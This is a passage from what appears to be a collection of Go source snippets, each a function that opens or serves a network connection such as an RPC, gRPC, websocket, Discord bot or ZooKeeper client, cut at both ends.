{\n\n\t\t_, err = http.Get(test_addr)\n\n\t\tif err == nil {\n\t\t\tlog.Printf(\"\\nRaft replica server up and listening at port %s\\n\", server_address)\n\t\t\tbreak\n\t\t}\n\n\t}\n\n}", "func (transporter *Transporter) Connect() {\n\tif transporter.wsNode == nil {\n\t\ttransporter.wsNode = transporter.GetServer()\n\t}\n\tif transporter.wsNode == nil {\n\t\tgo func() {\n\t\t\tlog.Println(\"Cannot get node, retry in 10sec\")\n\t\t\ttime.Sleep(10 * time.Second)\n\t\t\ttransporter.Connect()\n\t\t}()\n\t\treturn\n\t}\n\n\theaders := http.Header{}\n\theaders.Add(\"X-KM-PUBLIC\", transporter.Config.PublicKey)\n\theaders.Add(\"X-KM-SECRET\", transporter.Config.PrivateKey)\n\theaders.Add(\"X-KM-SERVER\", transporter.Config.ServerName)\n\theaders.Add(\"X-PM2-VERSION\", transporter.Version)\n\theaders.Add(\"X-PROTOCOL-VERSION\", \"1\")\n\theaders.Add(\"User-Agent\", \"PM2 Agent Golang v\"+transporter.Version)\n\n\tc, _, err := transporter.websocketDialer().Dial(*transporter.wsNode, headers)\n\tif err != nil {\n\t\tlog.Println(\"Error while connecting to WS\", err)\n\t\ttime.Sleep(2 * time.Second)\n\t\ttransporter.isConnecting = false\n\t\ttransporter.CloseAndReconnect()\n\t\treturn\n\t}\n\tc.SetCloseHandler(func(code int, text string) error {\n\t\ttransporter.isClosed = true\n\t\treturn nil\n\t})\n\n\ttransporter.isConnected = true\n\ttransporter.isConnecting = false\n\n\ttransporter.ws = c\n\n\tif !transporter.isHandling {\n\t\ttransporter.SetHandlers()\n\t}\n\n\tgo func() {\n\t\tif transporter.serverTicker != nil {\n\t\t\treturn\n\t\t}\n\t\ttransporter.serverTicker = time.NewTicker(10 * time.Minute)\n\t\tfor {\n\t\t\t<-transporter.serverTicker.C\n\t\t\tsrv := transporter.GetServer()\n\t\t\tif srv != nil && *srv != *transporter.wsNode {\n\t\t\t\ttransporter.wsNode = srv\n\t\t\t\ttransporter.CloseAndReconnect()\n\t\t\t}\n\t\t}\n\t}()\n}", "func connectRPC(hostPort, tlsCertPath, macaroonPath string) (*grpc.ClientConn,\n\terror) {\n\n\tcertBytes, err := ioutil.ReadFile(tlsCertPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading TLS cert file %v: %v\",\n\t\t\ttlsCertPath, err)\n\t}\n\n\tcp := x509.NewCertPool()\n\tif !cp.AppendCertsFromPEM(certBytes) {\n\t\treturn nil, fmt.Errorf(\"credentials: failed to append \" +\n\t\t\t\"certificate\")\n\t}\n\n\tmacBytes, err := ioutil.ReadFile(macaroonPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading macaroon file %v: %v\",\n\t\t\tmacaroonPath, err)\n\t}\n\tmac := &macaroon.Macaroon{}\n\tif err := mac.UnmarshalBinary(macBytes); err != nil {\n\t\treturn nil, fmt.Errorf(\"error decoding macaroon: %v\", err)\n\t}\n\n\tmacCred, err := macaroons.NewMacaroonCredential(mac)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating creds: %v\", err)\n\t}\n\n\topts := []grpc.DialOption{\n\t\tgrpc.WithTransportCredentials(credentials.NewClientTLSFromCert(\n\t\t\tcp, \"\",\n\t\t)),\n\t\tgrpc.WithPerRPCCredentials(macCred),\n\t}\n\tconn, err := grpc.Dial(hostPort, opts...)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to connect to RPC server: %v\",\n\t\t\terr)\n\t}\n\n\treturn conn, nil\n}", "func createNode(cfg *meta.ClusterConfig, nodeUUID, nodeURL string) (*meta.Watcher, *meta.Node, *rpckit.RPCServer, error) {\n\t// create watcher\n\tw, err := meta.NewWatcher(nodeUUID, cfg)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\n\t// Start a rpc server\n\trpcSrv, err := rpckit.NewRPCServer(fmt.Sprintf(\"datanode-%s\", nodeUUID), nodeURL, rpckit.WithLoggerEnabled(false))\n\tif err != nil {\n\t\tlog.Errorf(\"failed to listen to %s: Err %v\", nodeURL, err)\n\t\treturn nil, nil, nil, err\n\t}\n\n\t// register RPC handlers\n\ttproto.RegisterDataNodeServer(rpcSrv.GrpcServer, &fakeDataNode{nodeUUID: nodeUUID})\n\trpcSrv.Start()\n\ttime.Sleep(time.Millisecond * 50)\n\n\t// create node\n\tnd, err := meta.NewNode(cfg, nodeUUID, nodeURL)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\n\treturn w, nd, rpcSrv, nil\n}", "func connect() (*websocket.Conn, error) {\n\thost := fmt.Sprintf(\"%s:%s\", configuration.TV.Host, *configuration.TV.Port)\n\tpath := \"/api/v2/channels/samsung.remote.control\"\n\tquery := fmt.Sprintf(\"name=%s\", base64.StdEncoding.EncodeToString([]byte(configuration.Controller.Name)))\n\tu := url.URL{Scheme: *configuration.TV.Protocol, Host: host, Path: path, RawQuery: query}\n\n\tlog.Infof(\"Opening connection to %s ...\", u.String())\n\n\twebsocket.DefaultDialer.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\n\tconnection, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n\tif err != nil {\n\t\tlog.Debugf(\"%v\", err)\n\t\treturn nil, err\n\t}\n\n\tlog.Infof(\"Connection is established.\")\n\n\treturn connection, nil\n}", "func (dynamoClient *RPCClient) RpcConnect() error {\n\tif dynamoClient.rpcConn != nil {\n\t\treturn nil\n\t}\n\n\tvar e error\n\tdynamoClient.rpcConn, e = rpc.DialHTTP(\"tcp\", dynamoClient.ServerAddr)\n\tif e != nil {\n\t\tdynamoClient.rpcConn = nil\n\t}\n\n\treturn e\n}", "func (client *RPCConnection) Connect(rpcConf *rpcclient.ConnConfig, ntfnHandlers *rpcclient.NotificationHandlers) {\n\tif client.isConnected {\n\t\tintegration.ReportTestSetupMalfunction(fmt.Errorf(\"%v is already connected\", client.rpcClient))\n\t}\n\tclient.isConnected = true\n\trpcClient := NewRPCConnection(rpcConf, client.MaxConnRetries, ntfnHandlers)\n\terr := rpcClient.NotifyBlocks()\n\tintegration.CheckTestSetupMalfunction(err)\n\tclient.rpcClient = rpcClient\n}", "func NewRPCConnection(config *rpcclient.ConnConfig, maxConnRetries int, ntfnHandlers *rpcclient.NotificationHandlers) *rpcclient.Client {\n\tvar client *rpcclient.Client\n\tvar err error\n\n\tfor i := 0; i < maxConnRetries; i++ {\n\t\tclient, err = rpcclient.New(config, ntfnHandlers)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"err: \" + err.Error())\n\t\t\ttime.Sleep(time.Duration(math.Log(float64(i+3))) * 50 * time.Millisecond)\n\t\t\tcontinue\n\t\t}\n\t\tbreak\n\t}\n\tif client == nil {\n\t\tintegration.ReportTestSetupMalfunction(fmt.Errorf(\"client connection timedout\"))\n\t}\n\treturn client\n}", "func (s *ClientState) Connect() (err error) {\n\turl := s.ServerUrl()\n\t// copy default dialer to avoid race conditions\n\tdialer := *websocket.DefaultDialer\n\tdialer.HandshakeTimeout = time.Duration(s.opts.Config.DialTimeout) * time.Second\n\tlogInfo(\"connecting to %s, timeout: %s\", url, dialer.HandshakeTimeout)\n\ts.ws, _, err = dialer.Dial(url, nil)\n\tif err != nil {\n\t\tlogError(\"could not establish web socket connection\")\n\t\treturn\n\t}\n\tlogInfo(\"established web socket connection\")\n\treturn\n}", "func (c *Client) ConnectNode(nodeID, peerID string) error {\n\treturn c.Post(fmt.Sprintf(\"/nodes/%s/conn/%s\", nodeID, peerID), nil, nil)\n}", "func newWebsocketClient(server *rpcServer, conn *websocket.Conn,\n\tremoteAddr string, authenticated bool, isAdmin bool) (*wsClient, error) {\n\n\tsessionID, err := wire.RandomUint64()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclient := &wsClient{\n\t\tconn: conn,\n\t\taddr: remoteAddr,\n\t\tauthenticated: authenticated,\n\t\tisAdmin: isAdmin,\n\t\tsessionID: sessionID,\n\t\tserver: server,\n\t\taddrRequests: make(map[string]struct{}),\n\t\tspentRequests: make(map[wire.OutPoint]struct{}),\n\t\tserviceRequestSem: makeSemaphore(cfg.RPCMaxConcurrentReqs),\n\t\tntfnChan: make(chan []byte, 1), // nonblocking sync\n\t\tsendChan: make(chan wsResponse, websocketSendBufferSize),\n\t\tquit: make(chan struct{}),\n\t}\n\treturn client, nil\n}", "func (c *client) Connect(ctx context.Context) error {\n\tif ctx == nil {\n\t\tctx = context.Background()\n\t}\n\tc.ctx = ctx\n\n\tremote := c.cfg.GetURL()\n\n\tvar subList []string\n\n\tfor topic := range c.SubscribedTopics {\n\t\tif IsPublicTopic(topic) {\n\t\t\tc.createCache(topic)\n\n\t\t\tsubList = append(subList, c.normalizeTopic(topic))\n\n\t\t\tcontinue\n\t\t}\n\n\t\tif IsPrivateTopic(topic) && c.hasAuth() {\n\t\t\tc.createCache(topic)\n\n\t\t\tsubList = append(subList, c.normalizeTopic(topic))\n\t\t}\n\t}\n\n\tif len(subList) > 0 {\n\t\tremote.RawQuery = \"subscribe=\" + strings.Join(subList, \",\")\n\t}\n\n\tlog.Info(\"Connecting to: \", remote.String())\n\n\tconn, rsp, err := websocket.DefaultDialer.DialContext(\n\t\tctx, remote.String(), c.getHeader())\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Fail to connect[%s]: %v, %v\",\n\t\t\tremote.String(), err, rsp)\n\t}\n\n\tdefer func() {\n\t\tgo c.messageHandler()\n\t\tgo c.heartbeatHandler()\n\t}()\n\n\tc.ws = conn\n\tc.connected = true\n\tc.ws.SetCloseHandler(c.closeHandler)\n\n\treturn nil\n}", "func (mn *ManagementNode) WorkerConnect(stream pb.Scheduler_WorkerConnectServer) error {\n\tlog.Info(\"WorkerConnect is called\")\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\t// TBD NewWorkerNode func style\n\t// creating worker node that has connected\n\twRPCClient := wrpc.NewWorkerNodeRPCClient(\"\", stream, &pb.WorkerNode{\n\t\tId: \"\",\n\t\tAddress: \"TBD\",\n\t\tState: common.WorkerNodeStateConnected,\n\t}, mn.cfg.SilenceTimeout)\n\n\t// by architecture decision worker connects and send first\n\t// message to via stream\n\t// message have to contain its id in reply field\n\tmsg, err := wRPCClient.RxWithTimeout(ctx)\n\tif err != nil {\n\t\tcommon.PrintDebugErr(err)\n\t\treturn err\n\t}\n\n\trsp := msg.(*pb.WorkerRsp)\n\twRPCClient.SetId(rsp.Reply)\n\n\terr = mn.AddWorkerNode(ctx, wRPCClient)\n\tif err != nil {\n\t\tcommon.PrintDebugErr(err)\n\t\treturn nil\n\t}\n\n\tc, cancel := context.WithCancel(ctx)\n\n\t// to make async communication between Worker and Manager\n\t// because sending via stream is possible only synchronously\n\twRPCClient.StartSender(c)\n\n\t// launch pinger to check connection state\n\twRPCClient.StartPinger(c, mn.cfg.PingTimer)\n\n\t// launch main eventloop\n\tif err = wRPCClient.InitLoop(c); err != nil {\n\t\tcommon.PrintDebugErr(err)\n\t}\n\n\trmErr := mn.RmWorkerNode(c, wRPCClient)\n\n\tif rmErr != nil {\n\t\t//concat errors in case there are problems with db\n\t\terr = trace.Errorf(\"%s %s\", err.Error(), rmErr.Error())\n\t\tcommon.PrintDebugErr(err)\n\t}\n\n\twRPCClient.StopPinger()\n\twRPCClient.StopSender(cancel)\n\n\treturn err\n}", "func ExampleConnect() {\n\terrChan := make(chan error)\n\n\topts := &Options{\n\t\tUsername: \"username\",\n\t\tPassword: \"password\",\n\t}\n\n\t// connect to the server\n\tconn, err := Connect(\"ws://localhost:9191/channel\", opts, errChan)\n\tif err != nil {\n\t\tlog.Printf(\"connect failed: %s\", err)\n\t\treturn\n\t}\n\n\t// disconnect from the server when done with the connection\n\tdefer conn.Disconnect()\n\n\t// listen for asynnchronous errors\n\tgo func() {\n\t\tfor err := range errChan {\n\t\t\tlog.Printf(\"connection error: %s\", err)\n\t\t}\n\t}()\n\t// Output:\n}", "func connectToDcrWallet(cfg *Config) (*rpcclient.Client, error) {\n\n\tcertFile := util.CleanAndExpandPath(cfg.DcrwCert)\n\tcerts, err := ioutil.ReadFile(certFile)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"error reading dcrwcert %s\", certFile)\n\t}\n\n\tconnCfg := &rpcclient.ConnConfig{\n\t\tHost: cfg.DcrwHost,\n\t\tEndpoint: \"ws\",\n\t\tUser: cfg.DcrwUser,\n\t\tPass: cfg.DcrwPass,\n\t\tCertificates: certs,\n\t}\n\n\tclient, err := rpcclient.New(connCfg, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error creating connection to wallet\")\n\t}\n\n\t_, err = client.GetAccountAddress(\"default\")\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"error trying to get test address from wallet\")\n\t}\n\n\treturn client, nil\n}", "func (h DeviceController) Connect(c *gin.Context) {\n\tctx := c.Request.Context()\n\tl := log.FromContext(ctx)\n\n\tidata := identity.FromContext(ctx)\n\tif !idata.IsDevice {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"error\": ErrMissingAuthentication.Error(),\n\t\t})\n\t\treturn\n\t}\n\n\tmsgChan := make(chan *nats.Msg, channelSize)\n\tsub, err := h.nats.ChanSubscribe(\n\t\tmodel.GetDeviceSubject(idata.Tenant, idata.Subject),\n\t\tmsgChan,\n\t)\n\tif err != nil {\n\t\tl.Error(err)\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"error\": \"failed to allocate internal device channel\",\n\t\t})\n\t\treturn\n\t}\n\t//nolint:errcheck\n\tdefer sub.Unsubscribe()\n\n\tupgrader := websocket.Upgrader{\n\t\tReadBufferSize: 1024,\n\t\tWriteBufferSize: 1024,\n\t\tSubprotocols: []string{\"protomsg/msgpack\"},\n\t\tCheckOrigin: func(r *http.Request) bool {\n\t\t\treturn true\n\t\t},\n\t\tError: func(\n\t\t\tw http.ResponseWriter, r *http.Request, s int, e error) {\n\t\t\trest.RenderError(c, s, e)\n\t\t},\n\t}\n\n\terrChan := make(chan error)\n\tdefer close(errChan)\n\n\t// upgrade get request to websocket protocol\n\tconn, err := upgrader.Upgrade(c.Writer, c.Request, nil)\n\tif err != nil {\n\t\terr = errors.Wrap(err,\n\t\t\t\"failed to upgrade the request to \"+\n\t\t\t\t\"websocket protocol\",\n\t\t)\n\t\tl.Error(err)\n\t\treturn\n\t}\n\t// websocketWriter is responsible for closing the websocket\n\t//nolint:errcheck\n\tgo h.connectWSWriter(ctx, conn, msgChan, errChan)\n\terr = h.ConnectServeWS(ctx, conn)\n\tif err != nil {\n\t\tselect {\n\t\tcase errChan <- err:\n\n\t\tcase <-time.After(time.Second):\n\t\t\tl.Warn(\"Failed to propagate error to client\")\n\t\t}\n\t}\n}", "func Connect(ctx context.Context, drCSIAddress string, metricsManager metrics.CSIMetricsManager) (conn *grpc.ClientConn, err error) {\n\tvar m sync.Mutex\n\tvar canceled bool\n\tready := make(chan bool)\n\tgo func() {\n\t\tconn, err = connection.Connect(drCSIAddress, metricsManager)\n\n\t\tm.Lock()\n\t\tdefer m.Unlock()\n\t\tif err != nil && canceled {\n\t\t\t_ = conn.Close()\n\t\t}\n\n\t\tclose(ready)\n\t}()\n\n\tselect {\n\tcase <-ctx.Done():\n\t\tm.Lock()\n\t\tdefer m.Unlock()\n\t\tcanceled = true\n\t\treturn nil, ctx.Err()\n\n\tcase <-ready:\n\t\treturn conn, err\n\t}\n}", "func NewDirectRPCClient(c *Client, clientCodecFunc ClientCodecFunc, network, address string, timeout time.Duration) (*rpc.Client, error) {\n\t//if network == \"http\" || network == \"https\" {\n\tswitch network {\n\tcase \"http\":\n\t\treturn NewDirectHTTPRPCClient(c, clientCodecFunc, network, address, \"\", timeout)\n\tcase \"kcp\":\n\t\treturn NewDirectKCPRPCClient(c, clientCodecFunc, network, address, \"\", timeout)\n\tdefault:\n\t}\n\n\tvar conn net.Conn\n\tvar tlsConn *tls.Conn\n\tvar err error\n\n\tif c != nil && c.TLSConfig != nil {\n\t\tdialer := &net.Dialer{\n\t\t\tTimeout: timeout,\n\t\t}\n\t\ttlsConn, err = tls.DialWithDialer(dialer, network, address, c.TLSConfig)\n\t\t//or conn:= tls.Client(netConn, &config)\n\n\t\tconn = net.Conn(tlsConn)\n\t} else {\n\t\tconn, err = net.DialTimeout(network, address, timeout)\n\t}\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn wrapConn(c, clientCodecFunc, conn)\n}", "func Connect(token string) error {\n\tdg, err := discordgo.New(\"Bot \" + token)\n\tif err != nil {\n\t\tfmt.Println(\"error creating Discord session,\", err)\n\t\treturn err\n\t}\n\tdg.AddHandler(manager)\n\tchannels, _ := dg.GuildChannels(\"675106841436356628\")\n\n\tfor _, v := range channels {\n\t\tfmt.Printf(\"Channel id: %s Channel name: %s\\n\", v.ID, v.Name)\n\t}\n\n\t// This function sends message every hour concurrently.\n\tgo func() {\n\t\tfor range time.NewTicker(time.Hour).C {\n\t\t\t_, err := dg.ChannelMessageSend(\"675109890204762143\", \"dont forget washing ur hands!\")\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"couldn't send ticker message\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\terr = dg.Open()\n\tif err != nil {\n\t\tfmt.Println(\"error opening connection,\", err)\n\t\treturn err\n\t}\n\t// Wait here until CTRL-C or other term signal is received.\n\tfmt.Println(\"Bot is now running. Press CTRL-C to exit.\")\n\tsc := make(chan os.Signal, 1)\n\tsignal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)\n\t<-sc\n\t// Cleanly close down the Discord session.\n\tdg.Close()\n\treturn nil\n}", "func (c *Client) Connect() error {\n\t// Open WebSocket connection\n\n\tlogrus.Debugln(\"Connecting to websocket: \", c.URL)\n\theader := http.Header{}\n\theader.Add(\"x-acs-session-token\", c.token)\n\tconn, _, err := c.Dialer.Dial(c.URL, header)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.Conn = conn\n\tc.Connected = true\n\n\t// Initialize message types for gotty\n\t// go c.pingLoop()\n\n\treturn nil\n}", "func NewDirectHTTPRPCClient(c *Client, clientCodecFunc ClientCodecFunc, network, address string, path string, timeout time.Duration) (*rpc.Client, error) {\n\tif path == \"\" {\n\t\tpath = rpc.DefaultRPCPath\n\t}\n\n\tvar conn net.Conn\n\tvar tlsConn *tls.Conn\n\tvar err error\n\n\tif c != nil && c.TLSConfig != nil {\n\t\tdialer := &net.Dialer{\n\t\t\tTimeout: timeout,\n\t\t}\n\t\ttlsConn, err = tls.DialWithDialer(dialer, \"tcp\", address, c.TLSConfig)\n\t\t//or conn:= tls.Client(netConn, &config)\n\n\t\tconn = net.Conn(tlsConn)\n\t} else {\n\t\tconn, err = net.DialTimeout(\"tcp\", address, timeout)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tio.WriteString(conn, \"CONNECT \"+path+\" HTTP/1.0\\n\\n\")\n\n\t// Require successful HTTP response\n\t// before switching to RPC protocol.\n\tresp, err := http.ReadResponse(bufio.NewReader(conn), &http.Request{Method: \"CONNECT\"})\n\tif err == nil && resp.Status == connected {\n\t\tif c == nil || c.PluginContainer == nil {\n\t\t\treturn rpc.NewClientWithCodec(clientCodecFunc(conn)), nil\n\t\t}\n\t\twrapper := newClientCodecWrapper(c.PluginContainer, clientCodecFunc(conn), conn)\n\t\twrapper.Timeout = c.Timeout\n\t\twrapper.ReadTimeout = c.ReadTimeout\n\t\twrapper.WriteTimeout = c.WriteTimeout\n\n\t\treturn rpc.NewClientWithCodec(wrapper), nil\n\t}\n\tif err == nil {\n\t\terr = errors.New(\"unexpected HTTP response: \" + resp.Status)\n\t}\n\tconn.Close()\n\treturn nil, &net.OpError{\n\t\tOp: \"dial-http\",\n\t\tNet: network + \" \" + address,\n\t\tAddr: nil,\n\t\tErr: err,\n\t}\n}", "func handleConnect(w http.ResponseWriter, r *http.Request) {\n\tif r.Method != \"POST\" {\n\t\thttp.NotFound(w, r)\n\t\treturn\n\t}\n\tfield := r.FormValue(\"anchor\")\n\tif field == os.Getenv(\"PORT\") {\n\t\thttp.Error(w, \"Cannot connect to yourself\", 500)\n\t\treturn\n\t}\n\n\tclientNode.Connect(fmt.Sprintf(\"node-%s\", field), field)\n}", "func startNodeCommunication(nodeAddress string, bc *Blockchain) {\n\tlistener, err := net.Listen(protocol, nodeAddress)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer listener.Close()\n\n\tfor {\n\t\tconn, err := listener.Accept()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Error: %s\\n\", err)\n\t\t}\n\t\tgo handleConnection(conn, bc)\n\t}\n}", "func connectWS(host string, port int) (*websocket.Conn, error) {\n\turl := fmt.Sprintf(\"ws://%s:%d\", host, port)\n\tLogger.Println(\"connecting to\", url)\n\tconn, _, err := websocket.DefaultDialer.Dial(url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn conn, nil\n}", "func TestCatalogNodeServices_ConnectProxy(t *testing.T) {\n\tt.Parallel()\n\n\tassert := assert.New(t)\n\ta := NewTestAgent(t, t.Name(), \"\")\n\tdefer a.Shutdown()\n\ttestrpc.WaitForTestAgent(t, a.RPC, \"dc1\")\n\n\t// Register\n\targs := structs.TestRegisterRequestProxy(t)\n\tvar out struct{}\n\tassert.Nil(a.RPC(\"Catalog.Register\", args, &out))\n\n\treq, _ := http.NewRequest(\"GET\", fmt.Sprintf(\n\t\t\"/v1/catalog/node/%s\", args.Node), nil)\n\tresp := httptest.NewRecorder()\n\tobj, err := a.srv.CatalogNodeServices(resp, req)\n\tassert.Nil(err)\n\tassertIndex(t, resp)\n\n\tns := obj.(*structs.NodeServices)\n\tassert.Len(ns.Services, 1)\n\tv := ns.Services[args.Service.Service]\n\tassert.Equal(structs.ServiceKindConnectProxy, v.Kind)\n}", "func (z *ZkRegistry) connect() error {\n\tif !z.isConnected() {\n\t\tconn, connChan, err := zk.Connect(z.NodeParams.Servers, time.Second)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor {\n\t\t\tisConnected := false\n\n\t\t\tselect {\n\t\t\tcase connEvent := <-connChan:\n\t\t\t\tif connEvent.State == zk.StateConnected {\n\t\t\t\t\tisConnected = true\n\t\t\t\t}\n\t\t\tcase _ = <-time.After(time.Second * 3):\n\t\t\t\treturn errors.New(\"Connect to zookeeper server timeout!\")\n\t\t\t}\n\n\t\t\tif isConnected {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\terr = conn.AddAuth(\"digest\", []byte(z.node.User.UserName+\":\"+z.node.User.Password))\n\t\tif err != nil {\n\t\t\treturn errors.New(\"AddAuth error: \\n\" + err.Error())\n\t\t}\n\n\t\tz.Conn = conn\n\t}\n\n\treturn nil\n}", "func newWSCon(t *testing.T) *websocket.Conn {\n\tdialer := websocket.DefaultDialer\n\trHeader := http.Header{}\n\tcon, r, err := dialer.Dial(websocketAddr, rHeader)\n\tfmt.Println(\"response\", r)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn con\n}", "func connect(cfg *config.Config, log logger.Logger) (*ftm.Client, *eth.Client, error) {\n\t// log what we do\n\tlog.Debugf(\"connecting blockchain node at %s\", cfg.Opera.ApiNodeUrl)\n\n\t// try to establish a connection\n\tclient, err := ftm.Dial(cfg.Opera.ApiNodeUrl)\n\tif err != nil {\n\t\tlog.Critical(err)\n\t\treturn nil, nil, err\n\t}\n\n\t// try to establish a for smart contract interaction\n\tcon, err := eth.Dial(cfg.Opera.ApiNodeUrl)\n\tif err != nil {\n\t\tlog.Critical(err)\n\t\treturn nil, nil, err\n\t}\n\n\t// log\n\tlog.Notice(\"node connection open\")\n\treturn client, con, nil\n}", "func connect(ctx context.Context, session liveshare.LiveshareSession) (Invoker, error) {\n\tlistener, err := listenTCP()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tlocalAddress := listener.Addr().String()\n\n\tinvoker := &invoker{\n\t\tsession: session,\n\t\tlistener: listener,\n\t}\n\n\t// Create a cancelable context to be able to cancel background tasks\n\t// if we encounter an error while connecting to the gRPC server\n\tconnectctx, cancel := context.WithCancel(context.Background())\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tcancel()\n\t\t}\n\t}()\n\n\tch := make(chan error, 2) // Buffered channel to ensure we don't block on the goroutine\n\n\t// Ensure we close the port forwarder if we encounter an error\n\t// or once the gRPC connection is closed. pfcancel is retained\n\t// to close the PF whenever we close the gRPC connection.\n\tpfctx, pfcancel := context.WithCancel(connectctx)\n\tinvoker.cancelPF = pfcancel\n\n\t// Tunnel the remote gRPC server port to the local port\n\tgo func() {\n\t\tfwd := liveshare.NewPortForwarder(session, codespacesInternalSessionName, codespacesInternalPort, true)\n\t\tch <- fwd.ForwardToListener(pfctx, listener)\n\t}()\n\n\tvar conn *grpc.ClientConn\n\tgo func() {\n\t\t// Attempt to connect to the port\n\t\topts := []grpc.DialOption{\n\t\t\tgrpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t\tgrpc.WithBlock(),\n\t\t}\n\t\tconn, err = grpc.DialContext(connectctx, localAddress, opts...)\n\t\tch <- err // nil if we successfully connected\n\t}()\n\n\t// Wait for the connection to be established or for the context to be cancelled\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn nil, ctx.Err()\n\tcase err := <-ch:\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tinvoker.conn = conn\n\tinvoker.jupyterClient = jupyter.NewJupyterServerHostClient(conn)\n\tinvoker.codespaceClient = codespace.NewCodespaceHostClient(conn)\n\tinvoker.sshClient = ssh.NewSshServerHostClient(conn)\n\n\t// Send initial connection heartbeat (no need to throw if we fail to get a response from the server)\n\t_ = invoker.notifyCodespaceOfClientActivity(ctx, connectedEventName)\n\n\t// Start the activity heatbeats\n\tgo invoker.heartbeat(pfctx, 1*time.Minute)\n\n\treturn invoker, nil\n}", "func init() {\n\tconfig = tendermint_test.ResetConfig(\"rpc_test_client_test\")\n\tchainID = config.GetString(\"chain_id\")\n\trpcAddr = config.GetString(\"rpc_laddr\")\n\tgrpcAddr = config.GetString(\"grpc_laddr\")\n\trequestAddr = rpcAddr\n\twebsocketAddr = rpcAddr\n\twebsocketEndpoint = \"/websocket\"\n\n\tclientURI = client.NewClientURI(requestAddr)\n\tclientJSON = client.NewClientJSONRPC(requestAddr)\n\tclientGRPC = core_grpc.StartGRPCClient(grpcAddr)\n\n\t// TODO: change consensus/state.go timeouts to be shorter\n\n\t// start a node\n\tready := make(chan struct{})\n\tgo newNode(ready)\n\t<-ready\n}", "func (s *Server) websocketClientRPC(wsc *websocketClient) {\n\tlog.Infof(\"New websocket client %s\", wsc.remoteAddr)\n\n\t// Clear the read deadline set before the websocket hijacked\n\t// the connection.\n\tif err := wsc.conn.SetReadDeadline(time.Time{}); err != nil {\n\t\tlog.Warnf(\"Cannot remove read deadline: %v\", err)\n\t}\n\n\t// WebsocketClientRead is intentionally not run with the waitgroup\n\t// so it is ignored during shutdown. This is to prevent a hang during\n\t// shutdown where the goroutine is blocked on a read of the\n\t// websocket connection if the client is still connected.\n\tgo s.websocketClientRead(wsc)\n\n\ts.wg.Add(2)\n\tgo s.websocketClientRespond(wsc)\n\tgo s.websocketClientSend(wsc)\n\n\t<-wsc.quit\n}", "func listenNodeRPCs() {\n\tkvNode := rpc.NewServer()\n\tkv := new(KVNode)\n\tkvNode.Register(kv)\n\tl, err := net.Listen(\"tcp\", listenKVNodeIpPort)\n\tcheckError(\"Error in listenNodeRPCs(), net.Listen()\", err, true)\n\tfmt.Println(\"Listening for node RPC calls on:\", listenKVNodeIpPort)\n\tfor {\n\t\tconn, err := l.Accept()\n\t\tcheckError(\"Error in listenNodeRPCs(), l.Accept()\", err, true)\n\t\tgo kvNode.ServeConn(conn)\n\t}\n}", "func connectWS(host string, port int) (*websocket.Conn, error) {\n\turl := fmt.Sprintf(\"ws://%s:%d\", host, port)\n\tglobal.LOG.Info(\"connecting to\", zap.String(\"url\", url))\n\tconn, _, err := websocket.DefaultDialer.Dial(url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn conn, nil\n}", "func Connect(orderer *Orderer, mspID string, identity *identity.Identity) (*Connection, error) {\n\tvar clientConn *grpc.ClientConn\n\tvar err error\n\tif orderer.tls != nil {\n\t\tcreds := credentials.NewTLS(&tls.Config{\n\t\t\tInsecureSkipVerify: true,\n\t\t})\n\t\tclientConn, err = grpc.Dial(fmt.Sprintf(\"localhost:%d\", orderer.apiPort), grpc.WithTransportCredentials(creds))\n\t} else {\n\t\tclientConn, err = grpc.Dial(fmt.Sprintf(\"localhost:%d\", orderer.apiPort), grpc.WithInsecure())\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Connection{\n\t\torderer: orderer,\n\t\tclientConn: clientConn,\n\t\tmspID: mspID,\n\t\tidentity: identity,\n\t}, nil\n}", "func (r *Reconciler) Connect() error {\n\n\tr.CheckServiceStatus(r.ServiceMgmt, &r.NooBaa.Status.Services.ServiceMgmt, \"mgmt-https\")\n\tr.CheckServiceStatus(r.ServiceS3, &r.NooBaa.Status.Services.ServiceS3, \"s3-https\")\n\n\tif len(r.NooBaa.Status.Services.ServiceMgmt.NodePorts) == 0 {\n\t\treturn fmt.Errorf(\"core pod port not ready yet\")\n\t}\n\n\tnodePort := r.NooBaa.Status.Services.ServiceMgmt.NodePorts[0]\n\tnodeIP := nodePort[strings.Index(nodePort, \"://\")+3 : strings.LastIndex(nodePort, \":\")]\n\n\tr.NBClient = 